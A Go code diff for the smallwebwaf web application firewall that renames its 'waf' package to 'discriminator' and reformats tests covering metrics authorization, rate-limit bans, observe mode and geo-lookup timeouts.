synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
// Not the default. The exclusive list needs the answer, and the app // Not the default. The exclusive list needs the answer, and the app
// is never reached. // is never reached.
const timeout = 3 * time.Second const timeout = 3 * time.Second
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{ map[string]string{
lookupTimeout: timeout.String(), lookupTimeout: timeout.String(),
allowedCountries: "DE", allowedCountries: "DE",
@@ -461,11 +396,7 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
serveFromDE(t, server, http.MethodGet, http.NoBody) serveFromDE(t, server, http.MethodGet, http.NoBody)
if waited := time.Since(began); waited != timeout { if waited := time.Since(began); waited != timeout {
t.Errorf( t.Errorf("the request waited %s for its answer, want %s", waited, timeout)
"the request waited %s for its answer, want %s",
waited,
timeout,
)
} }
// Without an answer, the client is in no country the list allows. // Without an answer, the client is in no country the list allows.
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"io" "io"
@@ -11,9 +11,9 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
@@ -32,13 +32,8 @@ func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) {
// An empty token does not match the unset one either. // An empty token does not match the unset one either.
for _, authorization := range []string{bearer, "Bearer ", ""} { for _, authorization := range []string{bearer, "Bearer ", ""} {
s.ownEndpointRequest( s.ownEndpointRequest(authorization, http.MethodGet, discriminator.MetricsPath, "",
authorization, http.StatusNotFound)
http.MethodGet,
waf.MetricsPath,
"",
http.StatusNotFound,
)
} }
} }
@@ -51,27 +46,21 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
method, path, authorization string method, path, authorization string
status int status int
}{ }{
{http.MethodGet, waf.MetricsPath, "", http.StatusUnauthorized}, {http.MethodGet, discriminator.MetricsPath, "", http.StatusUnauthorized},
{ {
http.MethodGet, waf.MetricsPath, "Bearer " + strings.ToUpper(token), http.MethodGet, discriminator.MetricsPath, "Bearer " + strings.ToUpper(token),
http.StatusUnauthorized, http.StatusUnauthorized,
}, },
{http.MethodGet, waf.MetricsPath, "Basic " + token, {http.MethodGet, discriminator.MetricsPath, "Basic " + token,
http.StatusUnauthorized}, http.StatusUnauthorized},
{http.MethodGet, waf.MetricsPath, bearer, http.StatusOK}, {http.MethodGet, discriminator.MetricsPath, bearer, http.StatusOK},
{http.MethodGet, waf.MetricsPath, "bearer " + token, http.StatusOK}, {http.MethodGet, discriminator.MetricsPath, "bearer " + token, http.StatusOK},
{http.MethodPost, waf.MetricsPath, bearer, http.StatusNotFound}, {http.MethodPost, discriminator.MetricsPath, bearer, http.StatusNotFound},
{http.MethodGet, waf.MetricsPath + "/", bearer, http.StatusNotFound}, {http.MethodGet, discriminator.MetricsPath + "/", bearer, http.StatusNotFound},
{http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound}, {http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound},
{http.MethodPost, waf.HealthPath, "", http.StatusNotFound}, {http.MethodPost, discriminator.HealthPath, "", http.StatusNotFound},
} { } {
got := s.ownEndpointRequest( got := s.ownEndpointRequest(tc.authorization, tc.method, tc.path, "", tc.status)
tc.authorization,
tc.method,
tc.path,
"",
tc.status,
)
if tc.status == http.StatusUnauthorized && if tc.status == http.StatusUnauthorized &&
got.header.Get("WWW-Authenticate") != "Bearer" { got.header.Get("WWW-Authenticate") != "Bearer" {
@@ -80,10 +69,7 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) {
} }
if tc.status == http.StatusOK && if tc.status == http.StatusOK &&
!strings.Contains( !strings.Contains(string(got.body), "# TYPE sww_requests_total counter") {
string(got.body),
"# TYPE sww_requests_total counter",
) {
t.Errorf("the metrics are\n%s", got.body) t.Errorf("the metrics are\n%s", got.body)
} }
} }
@@ -99,10 +85,7 @@ func TestMetricsCountTheTraffic(t *testing.T) {
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, addr, out, server := startProxyWithClock(t, app.URL, "", time.Now,
map[string]string{metricsToken: token}) map[string]string{metricsToken: token})
got := do( got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
t,
newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")),
)
wantStatus(t, got, http.StatusOK) wantStatus(t, got, http.StatusOK)
wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound) wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
out.endedLines(t, 2) out.endedLines(t, 2)
@@ -149,26 +132,12 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
s.get(client, 0, requestlog.ActionClientIsRateLimited) s.get(client, 0, requestlog.ActionClientIsRateLimited)
metrics := s.scrape() metrics := s.scrape()
wantMetric( wantMetric(t, metrics,
t, `sww_requests_total{action="client_denied",instance="app",status_class="none"}`, 1)
metrics,
`sww_requests_total{action="client_denied",instance="app",status_class="none"}`,
1,
)
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 1) `kind="requests",window="minute"}`, 1)
wantMetric( wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
t, wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
metrics,
`sww_offences_total{instance="app",kind="limit"}`,
1,
)
wantMetric(
t,
metrics,
`sww_bans_made_total{cause="limit",instance="app"}`,
1,
)
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0)
@@ -183,18 +152,8 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
metrics = s.scrape() metrics = s.scrape()
wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="requests",window="minute"}`, 2) `kind="requests",window="minute"}`, 2)
wantMetric( wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 2)
t, wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 2)
metrics,
`sww_offences_total{instance="app",kind="limit"}`,
2,
)
wantMetric(
t,
metrics,
`sww_bans_made_total{cause="limit",instance="app"}`,
2,
)
wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1)
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
// denied and client. // denied and client.
@@ -222,7 +181,7 @@ func TestMetricsCountTheBansAnAdminMakes(t *testing.T) {
wantMetric(t, s.scrape(), admins, 1) wantMetric(t, s.scrape(), admins, 1)
// And a ban made through the endpoint. // And a ban made through the endpoint.
s.admin(http.MethodPost, waf.BansPath, banOtherClient, http.StatusOK) s.admin(http.MethodPost, discriminator.BansPath, banOtherClient, http.StatusOK)
wantMetric(t, s.scrape(), admins, 2) wantMetric(t, s.scrape(), admins, 2)
} }
@@ -242,14 +201,12 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
allowedCountries: "de,fr", allowedCountries: "de,fr",
} }
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env)
time.Now, env)
// The answers are kept before the requests, so that none waits for // The answers are kept before the requests, so that none waits for
// GeoJS. // GeoJS.
server.GeoJS.Load([]lookup.Answer{ server.GeoJS.Load([]lookup.Answer{
keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"),
keptAnswer(fromFR, "FR"),
}) })
lines := 0 lines := 0
@@ -257,8 +214,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
t.Helper() t.Helper()
for range times { for range times {
body := strings.NewReader("abc") req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))
req := newRequest(t, http.MethodPost, addr, "/", body)
req.Header.Set(forwardedFor, from) req.Header.Set(forwardedFor, from)
wantStatus(t, do(t, req), status) wantStatus(t, do(t, req), status)
@@ -315,9 +271,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
`sww_country_request_bytes_total{country="DE",instance="app"}`) `sww_country_request_bytes_total{country="DE",instance="app"}`)
} }
func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther( func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
@@ -393,12 +347,7 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1) wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1)
wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1) wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1)
wantMetric( wantMetric(t, metrics, `sww_requests_without_geojs_answer_total{instance="app"}`, 1)
t,
metrics,
`sww_requests_without_geojs_answer_total{instance="app"}`,
1,
)
} }
// keptAnswer returns GeoJS's answer that the client at addr is in // keptAnswer returns GeoJS's answer that the client at addr is in
@@ -412,12 +361,12 @@ func keptAnswer(addr, country string) lookup.Answer {
} }
} }
// scrape asks waf at addr for the metrics, with the token, and returns // scrape asks discriminator at addr for the metrics, with the token, and returns
// them. // them.
func scrape(t *testing.T, addr string) string { func scrape(t *testing.T, addr string) string {
t.Helper() t.Helper()
req := newRequest(t, http.MethodGet, addr, waf.MetricsPath, http.NoBody) req := newRequest(t, http.MethodGet, addr, discriminator.MetricsPath, http.NoBody)
req.Header.Set("Authorization", bearer) req.Header.Set("Authorization", bearer)
got := do(t, req) got := do(t, req)
@@ -432,10 +381,8 @@ func scrape(t *testing.T, addr string) string {
func (s *sender) scrape() string { func (s *sender) scrape() string {
s.t.Helper() s.t.Helper()
return string( return string(s.ownEndpointRequest(bearer, http.MethodGet, discriminator.MetricsPath,
s.ownEndpointRequest(bearer, http.MethodGet, waf.MetricsPath, "", http.StatusOK).body)
"", http.StatusOK).body,
)
} }
// metric returns the value of series in metrics, which are in the // metric returns the value of series in metrics, which are in the
@@ -447,10 +394,7 @@ func metric(t *testing.T, metrics, series string) float64 {
t.Helper() t.Helper()
for line := range strings.Lines(metrics) { for line := range strings.Lines(metrics) {
value, found := strings.CutPrefix( value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ")
strings.TrimSuffix(line, "\n"),
series+" ",
)
if !found { if !found {
continue continue
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -67,12 +67,7 @@ func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
server.Ledger.Load([]bans.Ban{ban}) server.Ledger.Load([]bans.Ban{ban})
if modeValue == observe { if modeValue == observe {
line := s.request( line := s.request(client, tc.path, http.StatusOK, requestlog.ActionForward)
client,
tc.path,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, tc.want) wantWouldAction(t, line, tc.want)
return return
@@ -98,21 +93,12 @@ func TestObserveModeNamesAPermanentBanWhoseAlertWouldBeSent(t *testing.T) {
Cause: bans.CauseAttack, Cause: bans.CauseAttack,
}}) }})
line := s.request( line := s.request(client, "/wp-login.php", http.StatusOK, requestlog.ActionForward)
client,
"/wp-login.php",
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, requestlog.ActionPermanentlyBanned) wantWouldAction(t, line, requestlog.ActionPermanentlyBanned)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan { if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan {
t.Errorf( t.Errorf("alerts waiting are %+v, want one %s", waiting, alerts.EventPermanentBan)
"alerts waiting are %+v, want one %s",
waiting,
alerts.EventPermanentBan,
)
} }
} }
@@ -177,22 +163,14 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
{fromDE, requestlog.ActionClientIsRateLimited}, {fromDE, requestlog.ActionClientIsRateLimited},
} { } {
if !tc.observe { if !tc.observe {
line := s.get( line := s.get(sent.from, http.StatusForbidden, sent.refusal)
sent.from,
http.StatusForbidden,
sent.refusal,
)
wantWouldAction(t, line, "") wantWouldAction(t, line, "")
continue continue
} }
// Passed to the app, which answered it. // Passed to the app, which answered it.
line := s.get( line := s.get(sent.from, http.StatusOK, requestlog.ActionForward)
sent.from,
http.StatusOK,
requestlog.ActionForward,
)
wantWouldAction(t, line, sent.refusal) wantWouldAction(t, line, sent.refusal)
} }
}) })
@@ -222,16 +200,11 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) {
line := s.get(client, http.StatusOK, requestlog.ActionForward) line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionClientIsRateLimited) wantWouldAction(t, line, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute || if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.Offence != requestlog.OffenceLimit ||
line.BanExpires != "" { line.BanExpires != "" {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want minute, limit and none", line.LimitHit, line.Offence,
"want minute, limit and none", line.BanExpires)
line.LimitHit,
line.Offence,
line.BanExpires,
)
} }
} }
@@ -1,7 +1,7 @@
// Package waf is the server the waf command runs. It answers // Package discriminator is the server the discriminator command runs. It answers
// rproxy's questions, takes rproxy's reports and answers its own endpoints, and // rproxy's questions, takes rproxy's reports and answers its own endpoints, and
// writes a log line for each. // writes a log line for each.
package waf package discriminator
import ( import (
"fmt" "fmt"
@@ -25,11 +25,11 @@ import (
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
) )
// ownEndpointPrefix starts the path of each of waf's own endpoints. The app // ownEndpointPrefix starts the path of each of discriminator's own endpoints. The app
// never sees a path under it. // never sees a path under it.
const ownEndpointPrefix = "/_sww/" const ownEndpointPrefix = "/_sww/"
// HealthPath is the health endpoint of waf and of rproxy, which the // HealthPath is the health endpoint of discriminator and of rproxy, which the
// container's health check asks. // container's health check asks.
const HealthPath = "/_sww/healthz" const HealthPath = "/_sww/healthz"
@@ -41,7 +41,7 @@ const MetricsPath = "/_sww/metrics"
// a client's address, lifts them, with SWW_ADMIN_TOKEN. // a client's address, lifts them, with SWW_ADMIN_TOKEN.
const BansPath = "/_sww/bans" const BansPath = "/_sww/bans"
// ClientsPath is where an admin asks what waf knows of a client, by // ClientsPath is where an admin asks what discriminator knows of a client, by
// the client's address after it, with SWW_ADMIN_TOKEN. // the client's address after it, with SWW_ADMIN_TOKEN.
const ClientsPath = "/_sww/clients/" const ClientsPath = "/_sww/clients/"
@@ -49,7 +49,7 @@ const ClientsPath = "/_sww/clients/"
type Params struct { type Params struct {
Config *config.Config Config *config.Config
// RequestLog receives two JSON lines per question, one at its decision and // RequestLog receives two JSON lines per question, one at its decision and
// one when its report comes, and one per request to waf's own // one when its report comes, and one per request to discriminator's own
// endpoints. // endpoints.
RequestLog io.Writer RequestLog io.Writer
// ProcessLog receives the process's own messages. // ProcessLog receives the process's own messages.
@@ -73,7 +73,7 @@ type Params struct {
// Rules are the rule files' rules, which each request is checked // Rules are the rule files' rules, which each request is checked
// against. // against.
Rules *rules.Files Rules *rules.Files
// Alerts receive the alert for each ban waf makes or makes // Alerts receive the alert for each ban discriminator makes or makes
// permanent, for each count over an anomaly threshold, for each request // permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or // whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, for each request the Core Rule Set scores at or over // AbuseIPDB lists, for each request the Core Rule Set scores at or over
@@ -83,11 +83,11 @@ type Params struct {
Alerts *alerts.Queue Alerts *alerts.Queue
} }
// Server is the server waf runs, with the parts whose state the state // Server is the server discriminator runs, with the parts whose state the state
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the // files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts, // lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
// AbuseIPDB's scores and checks spent, routewatch's answers, and the metrics. // AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
// RouteWatch is nil while SWW_ROUTEWATCH_URL is unset. // SWW_ROUTEWATCH_URL is unset, keeps its answers in memory only.
type Server struct { type Server struct {
*http.Server *http.Server
@@ -228,8 +228,7 @@ func newReputation(
// an error in every mode. While the mode is off, a set file is loaded with the // an error in every mode. While the mode is off, a set file is loaded with the
// Core Rule Set only to check it. // Core Rule Set only to check it.
func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) { func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
if cfg.WAFMode == config.WAFModeOff && if cfg.WAFMode == config.WAFModeOff && cfg.CoreRuleSetExclusionsFile == "" {
cfg.CoreRuleSetExclusionsFile == "" {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
} }
@@ -249,7 +248,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
return coreRuleSet, nil return coreRuleSet, nil
} }
// handler is waf's handler. It holds what every request shares; what // handler is discriminator's handler. It holds what every request shares; what
// belongs to one request is in a request. // belongs to one request is in a request.
type handler struct { type handler struct {
config *config.Config config *config.Config
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"bufio" "bufio"
@@ -17,11 +17,11 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy" "sneak.berlin/go/smallwebwaf/internal/rproxy"
"sneak.berlin/go/smallwebwaf/internal/rules" "sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
@@ -177,9 +177,9 @@ func (o *output) requestLine(t *testing.T) logLine {
return o.requestLines(t, 1)[0] return o.requestLines(t, 1)[0]
} }
// endedLines waits for count requests that went through rproxy, or to waf's // endedLines waits for count requests that went through rproxy, or to discriminator's
// own endpoints, to have ended, and returns the last log line of each, in the // own endpoints, to have ended, and returns the last log line of each, in the
// order waf took them. A question's last line is the one its report writes. // order discriminator took them. A question's last line is the one its report writes.
func (o *output) endedLines(t *testing.T, count int) []logLine { func (o *output) endedLines(t *testing.T, count int) []logLine {
t.Helper() t.Helper()
@@ -189,7 +189,7 @@ func (o *output) endedLines(t *testing.T, count int) []logLine {
ended := len(found) >= count ended := len(found) >= count
for _, line := range found[:min(count, len(found))] { for _, line := range found[:min(count, len(found))] {
if line.WAFLine == requestlog.WAFLineDecision { if line.DiscriminatorLine == requestlog.DiscriminatorLineDecision {
ended = false ended = false
} }
} }
@@ -207,7 +207,7 @@ func (o *output) endedLines(t *testing.T, count int) []logLine {
} }
// lastLines returns the last request log line written so far of each request, // lastLines returns the last request log line written so far of each request,
// in the order waf took them. // in the order discriminator took them.
func (o *output) lastLines(t *testing.T) []logLine { func (o *output) lastLines(t *testing.T) []logLine {
t.Helper() t.Helper()
@@ -273,14 +273,10 @@ func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
return server return server
} }
// startProxy starts waf, and rproxy in front of the app at appURL, each with // startProxy starts discriminator, and rproxy in front of the app at appURL, each with
// the settings in env on top of the defaults, and returns where rproxy listens // the settings in env on top of the defaults, and returns where rproxy listens
// and what waf writes. // and what discriminator writes.
func startProxy( func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
t *testing.T,
appURL string,
env map[string]string,
) (string, *output) {
t.Helper() t.Helper()
return startProxyWithGeoJS(t, appURL, "", env) return startProxyWithGeoJS(t, appURL, "", env)
@@ -299,36 +295,30 @@ func startProxyWithGeoJS(
} }
// startProxyWithClock is startProxyWithGeoJS with requests counted and // startProxyWithClock is startProxyWithGeoJS with requests counted and
// bans made by the time now tells, and returns waf's server as well, whose // bans made by the time now tells, and returns discriminator's server as well, whose
// Addr is where waf listens. Unless env sets SWW_RULES_DIR, it is an empty // Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
// directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app, // directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
// the label instance of every metric. // the label instance of every metric.
func startProxyWithClock( func startProxyWithClock(
t *testing.T, appURL, geojsURL string, now func() time.Time, t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string, env map[string]string,
) (string, *output, *waf.Server) { ) (string, *output, *discriminator.Server) {
t.Helper() t.Helper()
addr, out, server, _ := startProxyWithAlerts( addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
t,
appURL,
geojsURL,
now,
env,
)
return addr, out, server return addr, out, server
} }
// startProxyWithAlerts is startProxyWithClock, and returns the queue of // startProxyWithAlerts is startProxyWithClock, and returns the queue of
// the alerts waf raises as well, as newWAF makes them. // the alerts discriminator raises as well, as newDiscriminator makes them.
func startProxyWithAlerts( func startProxyWithAlerts(
t *testing.T, appURL, geojsURL string, now func() time.Time, t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string, env map[string]string,
) (string, *output, *waf.Server, *alerts.Queue) { ) (string, *output, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
server, out, alertQueue := newWAF(t, geojsURL, now, env) server, out, alertQueue := newDiscriminator(t, geojsURL, now, env)
serve(t, server) serve(t, server)
return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
@@ -336,14 +326,10 @@ func startProxyWithAlerts(
// serve serves server on a port of its own until the test ends, and sets its // serve serves server on a port of its own until the test ends, and sets its
// Addr to where it listens. // Addr to where it listens.
func serve(t *testing.T, server *waf.Server) { func serve(t *testing.T, server *discriminator.Server) {
t.Helper() t.Helper()
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -359,29 +345,27 @@ func serve(t *testing.T, server *waf.Server) {
}) })
} }
// startRProxy starts rproxy in front of the app at appURL, asking the waf // startRProxy starts rproxy in front of the app at appURL, asking the discriminator
// at wafAddr, with the settings in env on top of the defaults, and returns // at discriminatorAddr, with the settings in env on top of the defaults, and returns
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless // where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide. // env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
func startRProxy( func startRProxy(
t *testing.T, wafAddr, appURL string, env map[string]string, t *testing.T, discriminatorAddr, appURL string, env map[string]string,
) string { ) string {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
"SWRP_WAF_BACKEND": "http://" + wafAddr, "SWRP_WAF_BACKEND": "http://" + discriminatorAddr,
"SWRP_UPSTREAM_URL": appURL, "SWRP_UPSTREAM_URL": appURL,
"SWRP_TIMEOUT_MS": "60000", "SWRP_TIMEOUT_MS": "60000",
} }
maps.Copy(settings, env) maps.Copy(settings, env)
cfg, err := config.RProxyFromEnvironment( cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
func(name string) (string, bool) {
value, ok := settings[name] value, ok := settings[name]
return value, ok return value, ok
}, })
)
if err != nil { if err != nil {
t.Fatalf("settings %v: %v", settings, err) t.Fatalf("settings %v: %v", settings, err)
} }
@@ -389,18 +373,10 @@ func startRProxy(
server := rproxy.New(rproxy.Params{ server := rproxy.New(rproxy.Params{
Config: cfg, Config: cfg,
RequestLog: io.Discard, RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger( ProcessLog: requestlog.NewProcessLogger(io.Discard, "rproxy", slog.LevelInfo),
io.Discard,
"rproxy",
slog.LevelInfo,
),
}) })
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -416,7 +392,7 @@ func startRProxy(
return listener.Addr().String() return listener.Addr().String()
} }
// newWAF makes waf's server, without starting it, and // newDiscriminator makes discriminator's server, without starting it, and
// returns it, what it writes, and the queue of the alerts it raises, as the // returns it, what it writes, and the queue of the alerts it raises, as the
// settings in env make it. No alert is sent from the queue: they wait in it, // settings in env make it. No alert is sent from the queue: they wait in it,
// for the test to look at. // for the test to look at.
@@ -426,22 +402,19 @@ func startRProxy(
// at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless // at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
// env sets it, so that only the tests of the Core Rule Set have their requests // env sets it, so that only the tests of the Core Rule Set have their requests
// inspected by it. // inspected by it.
func newWAF( func newDiscriminator(
t *testing.T, t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
geojsURL string, ) (*discriminator.Server, *output, *alerts.Queue) {
now func() time.Time,
env map[string]string,
) (*waf.Server, *output, *alerts.Queue) {
t.Helper() t.Helper()
return newWAFWith(t, waf.New, geojsURL, now, env) return newDiscriminatorWith(t, discriminator.New, geojsURL, now, env)
} }
// newWAFWith is newWAF for the server build makes. // newDiscriminatorWith is newDiscriminator for the server build makes.
func newWAFWith( func newDiscriminatorWith(
t *testing.T, build func(waf.Params) *waf.Server, t *testing.T, build func(discriminator.Params) *discriminator.Server,
geojsURL string, now func() time.Time, env map[string]string, geojsURL string, now func() time.Time, env map[string]string,
) (*waf.Server, *output, *alerts.Queue) { ) (*discriminator.Server, *output, *alerts.Queue) {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
@@ -463,11 +436,7 @@ func newWAFWith(
} }
out := &output{} out := &output{}
processLog := requestlog.NewProcessLogger( processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
out,
cfg.InstanceName,
cfg.LogLevel,
)
ruleFiles, err := rules.Load(rules.Params{ ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog, Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
@@ -497,12 +466,12 @@ func newWAFWith(
} }
} }
coreRuleSet, err := waf.NewCoreRuleSet(cfg) coreRuleSet, err := discriminator.NewCoreRuleSet(cfg)
if err != nil { if err != nil {
t.Fatalf("Core Rule Set: %v", err) t.Fatalf("Core Rule Set: %v", err)
} }
server := build(waf.Params{ server := build(discriminator.Params{
Config: cfg, Config: cfg,
RequestLog: out, RequestLog: out,
ProcessLog: processLog, ProcessLog: processLog,
@@ -544,28 +513,14 @@ func readAnswer(res *http.Response) answer {
body, err := io.ReadAll(res.Body) body, err := io.ReadAll(res.Body)
_ = res.Body.Close() _ = res.Body.Close()
return answer{ return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
status: res.StatusCode,
header: res.Header,
body: body,
err: err,
}
} }
// newRequest makes a request for path to addr, where rproxy or waf listens. // newRequest makes a request for path to addr, where rproxy or discriminator listens.
func newRequest( func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
t *testing.T,
method, addr, path string,
body io.Reader,
) *http.Request {
t.Helper() t.Helper()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body)
t.Context(),
method,
"http://"+addr+path,
body,
)
if err != nil { if err != nil {
t.Fatalf("new request: %v", err) t.Fatalf("new request: %v", err)
} }
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS, // The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
